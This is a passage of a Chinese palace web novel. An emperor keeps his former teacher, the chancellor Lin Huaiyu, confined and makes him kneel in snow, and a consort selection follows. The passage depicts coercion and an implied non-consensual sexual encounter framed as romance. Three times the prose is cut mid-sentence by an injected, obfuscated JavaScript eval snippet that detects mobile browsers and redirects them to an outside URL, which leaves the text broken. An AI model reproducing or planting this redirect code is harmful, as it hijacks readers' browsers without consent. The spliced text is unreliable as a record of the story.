林怀玉自然没有听见这些议论,但他即便听见也无甚所谓,这样的谈论太多太多,他不想管,也懒得管。 直到最后一名学子走进考场,经过林怀玉面前,跪下行礼却抬了头,与林怀玉对上了目光:“丞相大人,辛苦。” 林怀玉倒是并未多言,只是朝他轻轻颔首。 那学子却没有离开,而是大着胆子,从容道:“丞相大人曾也是新科状元,那一篇《治国方略》学生倒背如流,不知学生是否有幸,能得林相大人指点?” 林怀玉看着跪着的人,这人说话不卑不亢,语气间也没有过多的阿谀奉承,只是平铺直叙,像是真的想要讨教一二。 但偏偏选了一位位高权重的主办官,林怀玉将这人的心思顿时剖了个明明白白。 若是他同意了,此人在榜上有名,日后必定成了他的客卿,丞相客卿,在这京中无人敢给他使绊子。 若是他拒绝了,以林怀玉的名声,这京中大有人会争抢着要这个榜上有名且与林怀玉不睦之人,甚至得陛下垂青。 无论哪一条,于现在的学子来说都不亏。 但前提是,这人能够上榜。 林怀玉垂了垂眸,鸦羽般的睫毛在眼下投下一片阴影:“若你高中状元,来日御街打马,御园宴酒,本相定然恭贺。” 若他所料不差,这次状元应当是那位名叫赵襄宜的学子。 而眼前这位跪着的人,想必就是赵襄宜了。 既有才学,又处事圆滑,日后能是宿泱手下一大裨益,倒是可以指点一二。 春闱整整三场,七篇文章,再入金殿由天子亲自选出前三甲,面见圣上。 而这期间,宿泱身着一身墨色衣袍,金丝暗纹尽显威严,他坐在金殿之上,与文武百官等着春闱的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583540|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果,支颐着脑袋闭目养神。 却有侍卫在无人察觉之际从后面绕到了宿泱的身侧,在宿泱耳畔低声禀报:“春闱开考之前,有几位学子议论林相,还有一位学子与林相对视,还说上了话。” 他将那对话原原本本一字不差地复述给了宿泱。 随后便看到宿泱原本百无聊赖的脸上勾起了一抹笑意。 却无端让他后脊发凉。 宿泱摆了摆手,那侍卫便立刻离开,来时无人察觉,去时亦无人在意。 很快春闱结束,文章递到了宿泱的手里,他也见到了那位被林怀玉“口口声声”夸赞的学子。 赵襄宜满怀希冀行入金殿,无人敢直视天子威严,但他不知怎的,总觉得那天子一直在打量着他,目光犹如一座山,重重压在他的身上,压得他喘不过气。 莫非他是何处得罪了这位天子吗? 不应当啊,这可是他头一次见到陛下,若是陛下真对他有什么意见,也不会在此刻将他召入金殿了吧。 外头的雪下得更猛了,春天恐怕会晚一些到了。 林怀玉撑着伞候在殿外,不稍时便听到了殿内传胪唱名,那状元郎赫然是赵襄宜。 林怀玉被召入殿内,看到赵襄宜朝着他轻轻颔首以示礼数,林怀玉便也回着点了一下头,再抬眸便对上了宿泱那道似笑非笑的目光。 他行礼道:“陛下。” 宿泱将圣旨盖了章,递给了德福,问林怀玉:“林相此次操办春闱有功,想要什么奖赏吗?” 林怀玉淡淡道:“臣……” 只是刚开了口,他便止了话头。 他原本并不打算要什么奖赏,只是宿泱拘着他,一直坐以待毙也不是他的个性,今日他是势必要趁机出宫的,若是失了良机,宿泱恐怕更不会放他出宫了。 于是林怀玉将话转了回来:“陛下,臣近日身子不适,想要休沐一段时日,还请陛下准臣在自己家中休养。” 他特意强调了“自己家中”这四个字。 宿泱又怎么会听不出来,他笑了笑,唇畔尽是凉意:“林相为大雍鞠躬尽瘁,这点请求朕自然该满足,林相要好好照顾身体啊。” 林怀玉深深看了宿泱一眼:“是,谢陛下。” 宿泱竟然一口准了,林怀玉还以为要他多费些口舌呢。 不过能出宫便是好事。 众人散去,林怀玉便随着离宫的人一块走出大殿,他站在最前边,这会儿离开也就走在最后边。 谁知刚跨出门槛,德福公公的声音便在他身后响起:“林相大人,留步。” 林怀玉顿时心中察觉到一丝不妙,却只能停了脚步,回头问:“德福公公,是陛下还有什么吩咐吗?” 德福笑眯眯地看着林怀玉,抬手给林怀玉引路:“林相大人,您走错了。” 林怀玉见对方手指的方向分明是后宫,他按下心底的不满,道:“方才本相已经同陛下求了旨意,要回家休养,陛下也已经恩准,不知这是何意?” 没等德福回答,宿泱的声音在他身后响起:“朕的家不就是老师的家吗?” 林怀玉眉心微蹙,回头道:“臣要回林府,管家已经备了车马在宫门外等着臣了,陛下莫非要出尔反尔?” 宿泱凑近林怀玉:“朕何时出尔反尔了?朕的后宫便也是老师的家,老师回家休养便在朕这里休养,有何不妥?” 林怀玉眉头一横:“陛下明知臣在说什么,为何假装不知?” 宿泱凑在林怀玉的耳边,仿佛鸳鸯交颈:“朕说过,老师只要乖乖留在朕的身边就好,朕不会让你离开朕的。” 林怀玉忍着怒火没有发作,回头看见大臣们即将离开,他连忙喊住最后那人:“刘大人,本相有些事要同你商议,烦请一道。” 那位刘大人闻言,停了步子,回头看了林怀玉一眼,又看了宿泱一眼,抿唇当做没听见,走了。 林怀玉看着群臣离开,回头又见宿泱噙着笑望着他:“老师,跟朕回去吧。” 林怀玉面若寒霜:“若臣执意要抗旨呢?” 宿泱顿时敛去了唇畔的笑意,面色微沉:“朕想起来了,老师今日见到了之前交口称赞的新科状元赵襄宜是吗?他还同你说了话。” 林怀玉不知宿泱为什么突然扯其他人:“是说了几句,但他的才学与臣无关,此人文章确实所作不错,否则陛下也不会选他做新科状元了,不是吗?” 宿泱嗤笑了一声,听着林怀玉明里暗里夸赞赵襄宜,脸色也越发的阴沉,四下无人,只有德福在侧,宿泱沉声道:“林怀玉,你莫要以为朕没有看见,方才大殿之上,你一进来就和他眉来眼去的,就这般当着朕的面勾引他?” 林怀玉拂袖欲走。 宿泱将人拉住:“朕记得前些日子卸了林相的职,虽未拟旨,但朕口谕已出,老师如今不再是丞相,朕若是要处置新科状元,老师护得住他吗?” 林怀玉并不在意什么新科状元,但宿泱这么多年来在百姓心中一直是位明君,若是因为他胡作非为,多年形象毁于一旦,属实不妥。 更何况他死之后,这位新科状元或许能帮衬宿泱一二,亦或是代替他的位置…… 林怀玉问他:“你待如何?” 宿泱冷冷看着林怀玉,怒火更盛:“老师屡屡顶撞朕,你说该不该罚?” “就跪在这里思过,直到老师愿意同朕回去为止。” 9. 第 9 章 大雪茫茫没有停的意思,如同从九天倒下来的絮,明明那么轻,可堆积起来又那么冷。 林怀玉跪在大雪之中,那雪已经快要将他淹没,他好似真成了个雪做的人,跪在风雪殿外一动不动。 白雪落在他的发梢,他的羽睫,甚至他的脸上,寒风钻入他的衣袍,彻骨的冷意攀上他的身躯,令他在雪地中细微地发着抖。 如同冰雕玉砌,在寒风中美得像个雪人,等风雪一停,太阳出来,他也就化了。 林怀玉的视线被冰雪遮挡,满目都是茫茫的一片,这样的场景让他想起十年前的那个冬日,也是这样纷飞的大雪。 彼时宿泱还是冷宫里那个不受待见的皇子,林怀玉为了让宿泱不在冷宫遭受欺凌,用了许多手段,才终于将这没有半分存在感的皇子从冷宫中救出来。 然而许是宿泱那张脸让先帝想起了他的母妃,先帝找了个借口冲着宿泱一顿发火,好不容易将人带出冷宫,眼看着又要被先帝丢回去,林怀玉便在先帝面前为他求情。 可先帝正在气头上,连他也不肯见,林怀玉为了求见先帝,跪在殿外,风雪也同样侵蚀着他的身体。 他跪了很久,夕阳都照在了他的身上,风雪一停,那雪便开始融化,那时才是真正冷入骨髓的时候。 林怀玉感觉自己跪僵了,也跪麻了,整个身子都感受不到冷了,疼痛都变得那样麻木。 到最后先帝终于肯见他,林怀玉差点没能从雪地里站起来,他被公公搀扶着,双腿几乎不能行走,却还是硬撑着进到殿内去见先帝,只为了替宿泱求情。 林怀玉看着落雪,很快收回了思绪,他双手覆在膝盖上,眸光微动。 这双腿在雨季,或是冰雪消融之际,便会是针扎一般的疼,密密麻麻仿佛不属于他,又疼又难受,却无可奈何。 他也因此不能长途跋涉,不能久站,更不能跪。 林怀玉又不知自己在雪地里跪了多久,唇色已近乎雪白,脸上的血色也尽数褪去,更像一尊易碎的雕塑了。 应该是没有上一次跪先帝时那么久的,林怀玉想。 只是林怀玉的身子如今禁不起风雪,他抖得越发厉害,在雪中一阵又一阵地咳嗽了起来。 好在宿泱不在此处,看不到他身形狼狈,面容憔悴,活像个被无常索命的鬼。 地上明明是白皑皑的一片,蓦地落了一片红梅下来。 可此处没有梅花,哪来的艳红呢? 然而林怀玉面前的雪地上又接连落下来几滴……血…… 原来不是红梅,是他咳血了。 林怀玉的视线有些模糊,才错看成了红梅。 他闭了闭眼,重新睁开,不动声色地用手拨了旁边的雪,覆盖在了那几滴鲜血上,将那殷红刺目的鲜血掩藏了起来。 不消多少时,林怀玉在雪地里看到了那双墨色锦靴,他听见宿泱的声音从他头顶上方传来:“老师果真是弱不禁风,才跪了这么一会儿就要晕倒了?” 林怀玉缓缓抬头,看着面无表情的宿泱,没有说话,他咽下喉间的血腥气,不想将血腥味暴露给宿泱。 宿泱见他不说话,更是生气,吼道:“林怀玉!你和那个赵襄宜才认识多久?你就这么护着他?为了让他活,宁可自己不顾身体跪在这儿?你就这么……这么喜欢他?!” 林怀玉感觉到血腥气被压下去,才缓缓开口:“臣只是觉得,他是个可用之材,陛下不能因为臣的原因,牵累他。” “牵累他?”宿泱嗤笑了一声,冷冷道,“林怀玉,你可真为他着想。” 他话音一落,俯身将林怀玉一把从雪地里拉了起来。 林怀玉腿跪麻了,这会儿根本站不住,身形一晃便要倒下,又被宿泱接住,他被对方一把扛在了肩上,朝着沁春宫走去。 林怀玉感觉自己的胃里翻江倒海,这么扛着,脑袋都有些晕了,他感受着宿泱的怒意,道:“我留着他也是为了你以后可以用他,你气什么?” 宿泱哼了一声,没说话。 林怀玉轻叹:“放我下来。” 宿泱这回总算开了口,语气也仍旧不善:“刚刚不是还站不住吗?这会儿又能走了?是因为不想待在朕的身上?” 林怀玉又闭上了嘴,没再说话,忍着肚子的疼痛和被颠的眩晕,被宿泱一路扛回了沁春宫。 重新回到这里,林怀玉有一种越狱之后被抓回来的错觉,他缓了缓,决定和林怀玉聊正事:“此次春闱还有不少人在暗中动了手脚,臣查出来不少,证据也都捏在了手中,陛下要如何处置?” 宿泱墨色的眼眸盯着林怀玉,问:“朕说过了,老师如今已经不是丞相了,你与朕之间难道就没有别的可以聊了吗?” 林怀玉一愣,随即反问:“陛下觉得,你我之间还有什么可以聊的?” 宿泱缓慢地点了两下头:“你说得对,我们之间没什么好聊的了,毕竟老师现在已经有别的人代替朕了,你的心里被赵襄宜占据了,老师,你是不是不要朕了?想要收他做学生,和以前教朕那般教他?” 林怀玉不知道宿泱一天到晚在联想些什么,但还是和宿泱道:“臣没有要收学生。” 每个人的路都该自己走,赵襄宜纵使有才学能力,能不能坐上丞相的位置,也得看他的本事。 宿泱闻言,心情似乎好了一些,他抬膝架在床沿,双手撑在林怀玉身侧,将林怀玉困在自己怀里,如同大型野兽将猎物圈住:“好,那老师说,朕的文章比赵襄宜的好,朕在老师心中是独一无二的学生。” 宿泱温热的吐息喷薄在林怀玉的脸上,林怀玉侧过脸躲了躲,闭上了眼睛,俨然是一副不准备搭理宿泱的模样。 “好,好,好。”宿泱怒极反笑,“老师就连哄哄朕也不愿,那朕又何必体贴老师呢?” 林怀玉心中一惊,他正要开口,却被宿泱抵了回去,那人强势地侵占令林怀玉逃无可逃,他的腿尚未恢复,也根本无法反抗宿泱,只能被迫承受着对方的怒火。 烛火轻轻摇曳,映着纱帐上的人影也摇摇晃晃着,呜咽的风声似乎淹没了某些细碎的响声,听不真切。 那殿外的风雪又落了一夜。 林怀玉再醒来的时候,身上的疼痛如剥皮拆骨,尤其是他的双腿,膝盖处传来熟悉的痛楚。 冰雪消融了。 林怀玉从勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583541|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强从榻上起来,扶着周围能扶的东西走到了门边,一打开门,那冷意便随着风席卷而来,林怀玉的膝盖几乎支撑不住。 他紧紧攥着门框,没让自己倒下去,双腿打着颤。 不等他关门,迎面便见宿泱朝他走了过来,那一身朝服还未褪下,应当是刚下朝。 宿泱原本面色不虞,见到林怀玉开门,脸上的阴霾扫了一些走:“老师是特地开门来迎接朕的吗?” 林怀玉咳了一声,讽他:“你倒是会自洽。” 宿泱当然知道林怀玉这会儿生着气,他见林怀玉转身回了屋子,一个好脸色也没给他,宿泱又落了落唇角的弧度,跟了上去:“老师对朕如此冷漠,就不怕朕不再宠幸你,另立新后?” 林怀玉先是冷淡道:“求之不得。” 随即又想到了另一个可能,宿泱不会无缘无故提起立后之事,他转身回望:“早朝说什么了?” 宿泱冷笑了一声,掐住林怀玉的腰,恶狠狠道:“老师的心里果真一点也没有朕,朕要立后你都没一点反应。” 林怀玉吃了痛,眉心轻轻拧了起来,他从宿泱口中推测出了今日早朝都议了些什么事:“朝臣让你立后?” 宿泱冷哼道:“那些人吃饱了没事干,就管起朕的后宫来了,说什么后宫多年空置,后位也该有人,还说什么开枝散叶延绵子嗣的,吵得朕头都疼了,便提前下了朝。” 林怀玉颔首,难怪今日宿泱早早便回来了。 宿泱看了林怀玉一眼,瞧不出对方的神色,不动声色地问:“老师以为朕该立后了吗?” 林怀玉瞥了宿泱一眼,从对方掌心逃脱,在旁边坐下,仿佛和宿泱讨论一件普通的朝事:“陛下可有心仪的女子……或是男子?” “男子?”宿泱抓住了林怀玉的措辞,侵占性的目光锁住了对方,“老师特地问这个,莫不是觉得,朕心仪于你?” 林怀玉移开了视线:“臣不曾这样说,只是觉得陛下或许不喜欢女子喜欢男子。” 宿泱嗤笑了一声:“朕喜欢男人还是女人轮不到你来揣测,不过朕倒是觉得,白大将军的嫡女英姿飒爽,很是令朕满意,去年秋猎见过一面,老师也夸她是将门虎女呢。” 林怀玉想起宿泱说的是谁,白大将军唯有那一个女儿,名叫白见青,去年秋闱,一众男儿郎都不是她的对手,她一骑绝尘夺了秋猎魁首,英姿飒爽,一杆红缨枪出神入化,他确实夸了几句,没想到宿泱喜欢的竟然是她。 林怀玉不禁看向宿泱,少年天子如今已经长大了,二十一岁的年纪换做寻常人家早已娶妻,或许已经生了儿女,宿泱也确实该到了立后的年纪了。 林怀玉垂了眼眸,道:“陛下喜欢白姑娘怎么从未提起过。” 宿泱的目光紧紧跟随着林怀玉,生怕错过一丝神情:“朕原本怕她不愿意,毕竟她看着不是很想做皇后。” 林怀玉轻轻点头,语气有些淡:“白姑娘确实是个好姑娘,白府家风严谨,白姑娘还曾上过阵打过仗,臣也见过,模样也是极好的,听说白大将军回来后,白府这几年提亲的人都踏破了门槛” “陛下若是真心喜欢,可要抓紧了。” 10. 第 10 章 殿外的风呼啸着,拍打着窗户,似乎要将林怀玉的话吹散。 宿泱一眨不眨地望着林怀玉,他了解林怀玉,这会儿林怀玉兴致缺缺,言语间虽然都是在夸赞白见青,可语气冷淡,分明不想多说,只是碍着自己的逼迫,只能多说两句。 宿泱的薄唇抿成了一条直线。 林怀玉对这个白见青评价竟然如此之高,他还没见过林怀玉这般欣赏哪个女子。 说起来,他其实也不知道林怀玉的性取向,林怀玉一直被他强迫着做那事,可到底心里头是不喜欢他的,莫非…… 林怀玉喜欢女子? 又或者…… 林怀玉喜欢的就是这位白见青? 是了,否则林怀玉怎么会听到他说心仪白见青,语气都淡了下去。 林怀玉越想,心中越烦,将手边的被子一摔,那瓷盏瞬间碎了一地:“林怀玉,你都被朕里里外外弄过了,你居然还能喜欢女人吗?!” 林怀玉的眸光闪了闪,随即侧过头,抿了一口茶,淡淡道:“这话陛下应该问自己吧?” 宿泱冷冷一笑:“朕是天子,喜欢男人还是喜欢女人轮不到旁人来指手画脚,三宫六院,嫔妃也好,男宠也罢,也轮不到你一个禁.脔吃飞醋。” 宿泱知道林怀玉不是吃醋,但他就是想故意这么说,他想林怀玉为他吃醋。 可偏偏林怀玉道:“臣没有。” 宿泱听不到自己想听的,便道:“既然老师也觉得朕该立后,那朕便选秀吧。” “德福!” 德福听见宿泱唤他,连忙推门进来,他看见碎了一地的瓷片,顿时眼观鼻鼻观口,假装没看见,绕过了那些碎片:“陛下有什么吩咐?” 说着,他还顺势朝林怀玉的方向看了一眼。 得,和以往一样,都是陛下在一边独自生气,林大人冷冷淡淡坐在一边事不关己,瞧不出什么来。 “传朕的旨意,明日召文武百官凡是家中有适龄未婚的女子……及男子入宫选秀。”宿泱低沉的声音在房间里响起。 德福一愣,立刻看向了林怀玉,对方却仍旧没有丝毫的表情变化,似乎并不关心这件事。 宿泱循着德福的目光,眉头一皱:“你看他做什么?朕的话还没有一个禁.脔好使吗?” 德福立刻低下头不敢再看:“奴才不敢!奴才遵旨!” 德福立刻退了出去,匆匆忙忙去传旨。 “如此,老师可满意?”宿泱看着林怀玉,特地相问,那语气中多的是阴阳怪气。 林怀玉知道,宿泱特意提文武百官是为了让白大将军的嫡女也能入宫,至于后面提起男子……便是为了羞辱他了。 他眸光微动,淡淡道:“陛下说的不错,你是天子,三宫六院乃是常理,既然已有心仪之人,立后也无可厚非,只是……” “只是?”宿泱看着林怀玉,忽的眸中升起一丝波澜。 林怀玉想说什么?只是他该怎么办?又或是,他在自己心中究竟是什么地位? 看来林怀玉还是在意自己的,也在意他们之间的关系。 宿泱这么想着,唇角不自觉微微扬起,等着林怀玉开口。 “只是陛下也得问过白姑娘的意思,莫要强求于人。”林怀玉如是道。 宿泱闻言,唇角的弧度一僵,他没有听到自己想听的,低低哼了一声:“林怀玉,你还挺为她着想的。” 林怀玉收回了目光,问:“明日选秀,臣能去观礼吗?” 宿泱闻言,眸光一紧,他死死盯着林怀玉,声音微沉:“你要去观礼?为什么?” 林怀玉放下茶盏,双手揉了揉膝盖,方才德福开了门,冷风灌了进来,带着冰雪消融后的寒意,渗透了他的骨髓:“明日一定十分热闹,臣不想一个人待在沁春宫。” 他其实想去看看白见青,看看那个在宿泱心里驻足的女子,若是对方愿意,以后便是她陪着宿泱一直走下去。 宿泱眉头轻挑,笑道:“是朕明日不能来看老师,老师便觉得寂寞了吗?” 林怀玉无声地瞥了宿泱一眼:“陛下若是非要这么想,臣也无话可说。” 宿泱似乎心情大好,调侃道:“朕知道,老师贯是口是心非。” 果然,林怀玉听见他要选秀,还是吃醋了。 他看着林怀玉,自然也就注意到了林怀玉的手正揉着膝盖,不禁问:“老师的腿疼?” 林怀玉长睫轻颤,拢了拢指尖,没再继续揉:“没什么,风吹着有点冷罢了。” 宿泱嗤笑了一声,调侃道:“朕还以为是昨日朕罚你跪在雪地里,跪坏了。” 林怀玉扯了扯嘴角,淡淡道:“臣还没有那么娇气。” 宿泱没好气道:“你还不娇气呢?” 他说着将林怀玉一把抱到了自己腿上:“来,朕替你揉。” 林怀玉张了张口,却没有再说什么拒绝的话,任由宿泱替他轻柔着膝盖的旧伤。 旭日东升,阳光柔和地洒在大地上,倒是入春来头一遭不曾下雪。 宫道上只剩冰雪消融后的水渍,宫人正在打扫。 后花园中只见数道靓丽的身影被宫人引着朝凉亭走去,前来选秀的女子和男子分开走着,但无一不贪恋着御花园的景色,张望着欣赏着,果真十分热闹。 只是选秀一事几家欢喜几家愁,也有人无心花色,愁容满面。 “唉,要不是抗旨牵累家人,我真是一点也不想来选秀。” “是啊,你看那边,还有男子,咱们陛下男女不忌,但我终究觉得有些不喜,我爹还说我以后必定是个妒妇。” “倒不是觉得和男子一起选秀有什么不妥,只是一想到以后要和一个男子争宠,就有些怪异了。” “没事,咱们落选就好了,别让陛下看中了,尽量不连累家里的情况下,别展示自己就好了。” 秀女们各怀心思,男子那边也一样是各种颜色。 “陛下怎么还选男人啊,真是闻所未闻,我日后可是要入朝为官的,可不想屈于陛下的后宫中。” “就是啊,我读了那么多书,还想施展抱负呢,求求了,希望陛下别选中我。” 在男子中,另一道声音便格外明显:“我倒是觉得,做陛下的男妃也不错啊,要是男后,那就更好了!” 众人纷纷望向他。 此人身形修长,锦袍玉带,一看便是家中千娇百宠长大的纨绔弟子,性子有些张扬,长得也十分张扬,抬着头总好像在蔑视别人。 “这是谁啊?”有人问了出来。 不消别人回答,那人先自我介绍了:“你居然不认识我?我可是当朝阁老唯一的嫡长孙。” 众人哗然。 “王阁老的嫡长孙……王襄玉。” “原来是他,长得还挺好看的,既然他想被选上,那就选吧。” “我觉得他还挺有希望的,比那边的几个秀女都还要好看!”有人看着王襄玉,也不知道是知晓了对方的身份刻意追捧还是真的这么认为。 王襄玉其实确实长得不错,在现场的这些人中算是佼佼,只不过他神情有些高高在上,不少人看不惯他。 但终究他的身份摆在那里,巴结他的人更多,也有不想得罪他的便也躲在一旁,一时间王襄玉显得格外突出。 他听着周围的阿谀奉承,正得意着,却被一道更为响亮且诚恳的声音打破了。 “哇!那人是谁!这也太美了!” 突然有人惊呼一声,那赞叹与惊讶的声音从内心深处发了出来,让众人纷纷顺着他的视线望了过去。 这不看也罢,一看,众人皆愣在了原地,连步子都忘了走。 御花园另一边的花丛长势格外喜人,几乎到了肩膀下面,各种颜色的花都有,还有牡丹国色芳华,令人移不开眼睛。 可万花丛中却有一抹玄色的身影伫立其间,墨色长发轻轻挽起,半垂着的如同瀑布,雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583542|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的面容如同前些日大雪堆砌的人偶,精致又美丽,那一双如桃花一般的眼中注入了清泉的瞳眸,什么都恰到好处,宛如从画中走出来一般。 只是那身上的衣袍似乎大了些,颜色也不衬那人。 “这是谁啊?也是来选秀的吗?” “若他是来选秀的,那我们定然没什么机会了,这样的容颜真是世间少有,我要是陛下,必定一见钟情。” “啊!好希望他不是来选秀的,或者希望他落选,这人是哪家的公子啊,我想上门提亲!” 在场的众人没人认出林怀玉,他们从未见过林怀玉,从前也没资格见林怀玉。 不过若是他们的长辈在场,必定能一眼便认出来,并且捂住自家小辈的嘴,然后立刻朝林怀玉赔礼道歉。 只可惜,那些长辈不在,也就没人捂住这些秀女秀男的嘴。 说起来也不怪他们,林怀玉少年得志,年纪轻轻便成了一朝丞相,按年纪算他也就比这些来选秀的人年长几岁,甚至同有些人也年岁相仿,没人会把他联系到那个传闻中心狠手辣权倾朝野的当朝丞相身上去。 “真好看,要是我的夫婿,我吵架都……吵不起来!” “这才是天上有地下无吧?刚刚那边夸的都是谁啊?不会是因为什么阁老身份阿谀奉承吧?”有人看不惯王襄玉和那些阿谀奉承的人,趁机阴阳怪气道。 夸赞王襄玉的几人顿时红了脸,想反驳又无从反驳。 王襄玉一见林怀玉,也是乍然愣了神,但随即发觉,方才夸赞他的人纷纷转头夸起了林怀玉,甚至还觉得自己不如林怀玉,顿时沉下了脸。 不就是比他长得好看些吗?今日是选秀,陛下后宫空悬,能在御花园里的,要么也是来选秀的,要么就是陛下的男宠,身份低贱不为世人所知。 他未来可是这后宫的主子,再不济也是个妃,区区男宠,再好看又能如何?刮花了脸什么都不是,还怎么勾引陛下? 王襄玉越想越觉得自己想的不错,已经想象着对方被他羞辱,众人反过来重新追捧他的场面了。 于是他冷哼了一声,竟然朝着林怀玉的方向走了过去。 众人见状,犹豫了一下,互相对视了一眼,在王襄玉的后面跟了过去。 “喂!你!”王襄玉不知道林怀玉究竟是谁,也懒得知道,直接冲着他喊,“你是男宠吧?这儿今日可是陛下选秀,咱们选上的,位份怎么样都高于你,你不先过来拜见一下未来的主子们吗?” 林怀玉轻轻朝着王襄玉瞥了过去,那清冷的眼眸令后者有一瞬间的愣神,王襄玉从未见过这样好看的眼睛,比他在青楼见到的那些小倌好看千倍万倍,这样如同琉璃般的眼眸,的确是个尤物。 但他随即又被林怀玉那不放在眼里的态度激怒,林怀玉根本没有理他的意思,甚至看见他也只是瞥了一眼就收回了目光。 他又朝着林怀玉走近了,指着他呵斥道:“你聋了?本少爷跟你说话呢,装听不见?信不信本少爷让你真听不见?!” 林怀玉本来不想同一个无知纨绔计较,但这会儿冷冷地望着王襄玉,随口道:“你可以试试。” 明明只是一个低贱的男宠,这样的眼神却让王襄玉不寒而栗,只是身后那一双双眼睛都望着他,多的是看笑话的人,他清了清嗓子,给自己提了提胆:“你别以为自己现在有陛下的宠爱就能如此目中无人,陛下要是真的心里有你,怎么今日还会选秀?” 林怀玉眸光微动,没有立刻说话。 王襄玉以为对方是被自己说中了,立刻嘲笑道:“你也不看看自己的身份,能做个陛下的男宠,得一些宠爱还不是仗着自己这张脸,可陛下总有看腻的时候,卑贱的男宠还真以为自己有什么身份和本少爷叫板了吗?” 刚刚竟然还敢无视他! 王襄玉又指了指旁边凉亭中备好的茶水,对林怀玉趾高气扬地吩咐:“这样吧,你给本少爷敬杯茶,本少爷就大发慈悲地放过你。” 11. 第 11 章 冰雪消融后的风也格外得冷,呼啸着灌入林怀玉的衣袍,膝盖上的伤仍旧隐隐作痛,将他的一部分思绪转移。 林怀玉眸光冷冽犹如这刺骨的寒风,他抬眸冷冷刺向王襄玉,刚要开口,一道清亮的女声率先朝这里靠了过来。 “就算人家只是男宠,也是陛下的人,如今圣恩正隆,你如此羞辱他,就不怕陛下撞见,降你的罪?” 林怀玉眸光轻转,心中已经猜到了来人是谁,他抬眸望过去,果然见到了一年前秋猎上的魁首,也是宿泱的心上人,白见青。 那时候秋猎上,白见青身着一身轻甲,搭弓射箭马术精湛,英姿飒爽的模样连许多男儿郎都自愧不如,如今为了选秀换上了一身女儿装,亦是别样的美丽。 “有你什么事?别以为你是白大将军的嫡女本少爷就怕你,我祖父可是当朝阁老,就算白大将军见了,那也是要客客气气的。”王襄玉看见白见青走出来坏他的事,顿时黑了脸。 白见青轻蔑一笑,根本没将王襄玉放在眼里:“那又怎么样?总喜欢把祖父挂在嘴边,一个男人,不过如此。” “你!”王襄玉气急败坏,“本少爷的事轮不到你插嘴,等你选上,当了皇后再管小爷吧。” 哼,白见青要是选上了,他就落选,打不过他就跑! 白见青这会儿已经走到了林怀玉的前面,声音缓了下来:“你别理他,他脑子有病,等会要是陛下来了,你告状,我们给你作证。” 林怀玉轻轻一笑,朝着白见青颔首:“多谢姑娘。” 声音如泉,冷冽如雪,白见青第一次在一个人的身上感觉到了冰清玉洁这四个字,难怪陛下会将这样的人留在身边。 可既然都有这样绝世的人了,为何还要选秀? 可见是个用情不专的,最是无情帝王家啊。 她只能朝着林怀玉安抚似的笑了笑。 宿泱下朝过来的时候正好撞见林怀玉和白见青相视一笑的画面,牡丹花丛中,二人郎才女貌宛若天作之合,周遭盛开的花将人簇拥在中间,如同画卷中美好。 看得宿泱冷笑了一声。 旁边的德福听见这声笑,又看见御花园那边的场景,不由得为众人捏了把汗。 不等他多想,宿泱已经大步流星朝着林怀玉的方向走了过去。 “说什么呢?这么热闹。”宿泱的语气夹杂着冷意,所有人转身见了他纷纷跪下请安。 唯有林怀玉,站在跪了一片的中央,直视着宿泱。 白见青这时候给他使了使眼色,大概是示意他抢在王襄玉之前先和宿泱告状,否则等王襄玉开口,那便是颠倒黑白了。 林怀玉垂了垂眼眸,果然,王襄玉开口十分之快,就是生怕林怀玉先告状。 “回禀陛下,此人对刚入宫的秀女秀男们言行无状,臣子好心提醒他,他却反过来骂臣子,说他得了陛下的恩宠,根本不将我们放在眼里,等日后臣子入了宫,他自会好好教训臣子。”王襄玉大着胆子看向宿泱,一脸委屈地告状,那模样倒是比女人还千娇百媚。 “哦?”宿泱闻言,饶有兴致地望向了林怀玉,只是对方的神色仍旧淡漠,仿佛对王襄玉的恶人先告状并不在意。 王襄玉见宿泱并未生气,反而打算听下去,于是又继续道:“臣子觉得他实在是恃宠而骄,在场的无一不是身份高贵的宦官子弟,岂是他一个身份低贱的人随意得罪的,到时候损了天家威严,给陛下招来祸事,这才想着小惩大诫一下。” 宿泱还是头一次听到有人说林怀玉身份低贱,唇边扯出个意味不明的笑来,眸光紧紧盯着林怀玉,似是不想错过林怀玉脸上一丝一毫的表情。 不过在听到王襄玉说小惩大诫,他唇角的弧度轻轻落了落,语气中带着危险:“你对他做了什么?” 王襄玉这会儿没察觉到宿泱语气的变化,以为宿泱觉得他说的有道理,要帮他一起教训林怀玉,于是大着胆子站起来,面向林怀玉道:“臣子不过是想教教他规矩,让他给我敬杯茶罢了。” 宿泱闻言,眉头轻扬:“敬了吗?” 王襄玉连忙道:“还没呢,敬个茶都不肯,果真是没规矩的奴才!” 